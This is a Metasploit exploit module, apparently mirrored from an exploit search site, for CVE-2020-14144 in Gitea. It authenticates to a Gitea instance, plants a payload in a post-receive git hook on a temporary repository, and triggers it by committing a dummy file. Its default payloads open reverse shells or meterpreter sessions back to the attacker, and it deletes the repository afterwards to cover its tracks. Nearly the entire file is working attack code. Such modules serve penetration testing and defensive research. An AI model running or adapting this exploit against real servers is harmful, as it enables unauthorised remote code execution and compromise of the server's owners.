Share
## https://sploitus.com/exploit?id=MSF:EXPLOIT/MULTI/HTTP/GITEA_GIT_HOOKS_RCE/
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Gitea Git Hooks Remote Code Execution',
        'Description' => %q{
          This module leverages an insecure setting to get remote code
          execution on the target OS in the context of the user running Gitea.
          This is possible when the current user is allowed to create `git
          hooks`, which is the default for administrative users. For
          non-administrative users, the permission needs to be specifically
          granted by an administrator.

          To achieve code execution, the module authenticates to the Gitea web
          interface, creates a temporary repository, sets a `post-receive` git
          hook with the payload and creates a dummy file in the repository.
          This last action will trigger the git hook and execute the payload.
          Everything is done through the web interface.

          It has been mitigated in version 1.13.0 by setting the Gitea
          `DISABLE_GIT_HOOKS` configuration setting to `true` by default. This
          disables this feature and prevents all users (including admin) from
          creating custom git hooks.

          This module has been tested successfully against docker versions 1.12.5,
          1.12.6 and 1.13.6 with `DISABLE_GIT_HOOKS` set to `false`, and on
          version 1.12.6 on Windows.
        },
        'Author' => [
          'Podalirius',             # Original PoC
          'Christophe De La Fuente' # MSF Module
        ],
        'References' => [
          ['CVE', '2020-14144'],
          ['EDB', '49571'],
          ['URL', 'https://podalirius.net/articles/exploiting-cve-2020-14144-gitea-authenticated-remote-code-execution/'],
          ['URL', 'https://www.fzi.de/en/news/news/detail-en/artikel/fsa-2020-3-schwachstelle-in-gitea-1126-und-gogs-0122-ermoeglicht-ausfuehrung-von-code-nach-authent/']
        ],
        'DisclosureDate' => '2020-10-07',
        'License' => MSF_LICENSE,
        'Platform' => %w[unix linux win],
        'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
        'Privileged' => false,
        'Targets' => [
          [
            'Unix Command',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/reverse_bash'
              }
            }
          ],
          [
            'Linux Dropper',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :linux_dropper,
              'DefaultOptions' => {
                'CMDSTAGER::FLAVOR' => :bourne,
                'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
              }
            }
          ],
          [
            'Windows Command',
            {
              'Platform' => 'win',
              'Arch' => ARCH_CMD,
              'Type' => :win_cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'
              }
            }
          ],
          [
            'Windows Dropper',
            {
              'Platform' => 'win',
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :win_dropper,
              'DefaultOptions' => {
                'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
              }
            }
          ],
        ],
        'DefaultOptions' => { 'WfsDelay' => 30 },
        'DefaultTarget' => 1,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION]
        }
      )
    )

    register_options([
      Opt::RPORT(3000),
      OptString.new('TARGETURI', [true, 'Base path', '/']),
      OptString.new('USERNAME', [true, 'Username to authenticate with']),
      OptString.new('PASSWORD', [true, 'Password to use']),
    ])

    @need_cleanup = false
  end

  def check
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path)
    )
    unless res
      return CheckCode::Unknown('Target did not respond to check.')
    end

    # Powered by Gitea Version: 1.12.5
    unless (match = res.body.match(/Powered by Gitea Version: (?<version>[\d.]+)/))
      return CheckCode::Unsupported('Target does not appear to be running Gitea.')
    end

    if Rex::Version.new(match[:version]) >= Rex::Version.new('1.13.0')
      print_warning(
        'This version of Gitea has the "DISABLE_GIT_HOOKS" option set to true '\
        'by default. This prevents all users (including admin) from creating '\
        'custom git hooks. This exploit might not work if this option is still '\
        'set to the default value.'
      )
    end
    CheckCode::Appears("Gitea version is #{match[:version]}")
  end

  def exploit
    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")

    print_status("Authenticate with \"#{datastore['USERNAME']}/#{datastore['PASSWORD']}\"")
    gitea_login
    print_good('Logged in')

    @repo_name = [Faker::App.name, Faker::App.name].join('_').gsub(' ', '_')
    print_status("Create repository \"#{@repo_name}\"")
    gitea_create_repo
    @need_cleanup = true
    print_good('Repository created')

    case target['Type']
    when :unix_cmd, :win_cmd
      execute_command(payload.encoded)
    when :linux_dropper, :win_dropper
      execute_cmdstager(background: true, delay: 1)
    end
  end

  def execute_command(cmd, _opts = {})
    vprint_status("Executing command: #{cmd}")

    print_status('Setup post-receive hook with command')
    gitea_post_receive_hook(cmd)
    print_good('Git hook setup')

    print_status('Create a dummy file on the repo to trigger the payload')
    last_chunk = cmd_list ? cmd == cmd_list.last : true
    gitea_create_file(last_chunk: last_chunk)
    print_good("File created#{', shell incoming...' if last_chunk}")
  end

  def http_post_request(uri, opts = {})
    csrf = opts.delete(:csrf) || get_csrf(uri)
    timeout = opts.delete(:timeout) || 20

    post_data = { _csrf: csrf }.merge(opts)
    request_hash = {
      'method' => 'POST',
      'uri' => normalize_uri(datastore['TARGETURI'], uri),
      'ctype' => 'application/x-www-form-urlencoded',
      'vars_post' => post_data
    }

    send_request_cgi(request_hash, timeout)
  end

  def get_csrf(uri)
    vprint_status('Get "csrf" value')
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(uri)
    )
    unless res
      fail_with(Failure::Unreachable, 'Unable to get the CSRF token')
    end

    csrf = extract_value(res, '_csrf')
    vprint_good("csrf=#{csrf}")
    csrf
  end

  def extract_value(res, attr)
    # <input type="hidden" name="_csrf" value="Ix7E3_U_lOt-kZfeMjEll57hZuU6MTYxNzAyMzQwOTEzMjU1MDUwMA">
    # <input type="hidden" id="uid" name="uid" value="2" required>
    # <input type="hidden" name="last_commit" value="6a7eb84e9a8e4e76a93ea3aec67b2f70fe2518d2">
    unless (match = res.body.match(/<input .*name="#{attr}" +value="(?<value>[^"]+)".*>/))
      return fail_with(Failure::NotFound, "\"#{attr}\" not found in response")
    end

    return match[:value]
  end

  def gitea_login
    res = http_post_request(
      '/user/login',
      user_name: datastore['USERNAME'],
      password: datastore['PASSWORD']
    )
    unless res
      fail_with(Failure::Unreachable, 'Unable to reach the login page')
    end

    unless res.code == 302
      fail_with(Failure::NoAccess, 'Login failed')
    end

    nil
  end

  def gitea_create_repo
    uri = normalize_uri(datastore['TARGETURI'], '/repo/create')

    res = send_request_cgi('method' => 'GET', 'uri' => uri)
    unless res
      fail_with(Failure::Unreachable, "Unable to reach #{uri}")
    end

    vprint_status('Get "csrf" and "uid" values')
    csrf = extract_value(res, '_csrf')
    vprint_good("csrf=#{csrf}")
    uid = extract_value(res, 'uid')
    vprint_good("uid=#{uid}")

    res = http_post_request(
      uri,
      uid: uid,
      repo_name: @repo_name,
      private: 'on',
      description: '',
      repo_template: '',
      issue_labels: '',
      gitignores: '',
      license: '',
      readme: 'Default',
      auto_init: 'on',
      default_branch: 'master',
      csrf: csrf
    )
    unless res
      fail_with(Failure::Unreachable, "Unable to reach #{uri}")
    end

    unless res.code == 302
      fail_with(Failure::UnexpectedReply, 'Create repository failure')
    end

    nil
  end

  def gitea_post_receive_hook(cmd)
    uri = normalize_uri(datastore['USERNAME'], @repo_name, '/settings/hooks/git/post-receive')
    shell = <<~SHELL
      #!/bin/bash
      #{cmd}&
      exit 0
    SHELL

    res = http_post_request(uri, content: shell)
    unless res
      fail_with(Failure::Unreachable, "Unable to reach #{uri}")
    end

    unless res.code == 302
      msg = 'Post-receive hook creation failure'
      if res.code == 404
        msg << ' (user is probably not allowed to create Git Hooks)'
      end
      fail_with(Failure::UnexpectedReply, msg)
    end

    nil
  end

  def gitea_create_file(last_chunk: false)
    uri = normalize_uri(datastore['USERNAME'], @repo_name, '/_new/master')
    filename = "#{Rex::Text.rand_text_alpha(4..8)}.txt"

    res = send_request_cgi('method' => 'GET', 'uri' => uri)
    unless res
      fail_with(Failure::Unreachable, "Unable to reach #{uri}")
    end

    vprint_status('Get "csrf" and "last_commit" values')
    csrf = extract_value(res, '_csrf')
    vprint_good("csrf=#{csrf}")
    last_commit = extract_value(res, 'last_commit')
    vprint_good("last_commit=#{last_commit}")

    http_post_request(
      uri,
      last_commit: last_commit,
      tree_path: filename,
      content: Rex::Text.rand_text_alpha(1..20),
      commit_summary: '',
      commit_message: '',
      commit_choice: 'direct',
      csrf: csrf,
      timeout: last_chunk ? 0 : 20 # The last one never returns, don't bother waiting
    )
    vprint_status("#{filename} created")

    nil
  end

  # Hook the HTTP client method to add specific cookie management logic
  def send_request_cgi(opts, timeout = 20)
    res = super

    return unless res

    # HTTP client does not handle cookies with the same name correctly. It adds
    # them instead of substituing the old value with the new one.
    unless res.get_cookies.empty?
      cookie_jar_hash = cookie_jar_to_hash
      cookies_from_response = cookie_jar_to_hash(res.get_cookies.split(' '))
      cookie_jar_hash.merge!(cookies_from_response)
      cookie_jar_updated = cookie_jar_hash.each_with_object(Set.new) do |cookie, set|
        set << "#{cookie[0]}=#{cookie[1]}"
      end
      cookie_jar.clear
      cookie_jar.merge(cookie_jar_updated)
    end

    res
  end

  def cookie_jar_to_hash(jar = cookie_jar)
    jar.each_with_object({}) do |cookie, cookie_hash|
      name, value = cookie.split('=')
      cookie_hash[name] = value
    end
  end

  def cleanup
    super
    return unless @need_cleanup

    print_status('Cleaning up')
    uri = normalize_uri(datastore['USERNAME'], @repo_name, '/settings')
    res = http_post_request(uri, action: 'delete', repo_name: @repo_name)

    unless res
      fail_with(Failure::Unreachable, 'Unable to reach the settings page')
    end

    unless res.code == 302
      fail_with(Failure::UnexpectedReply, 'Delete repository failure')
    end

    print_status("Repository #{@repo_name} deleted.")

    nil
  end
end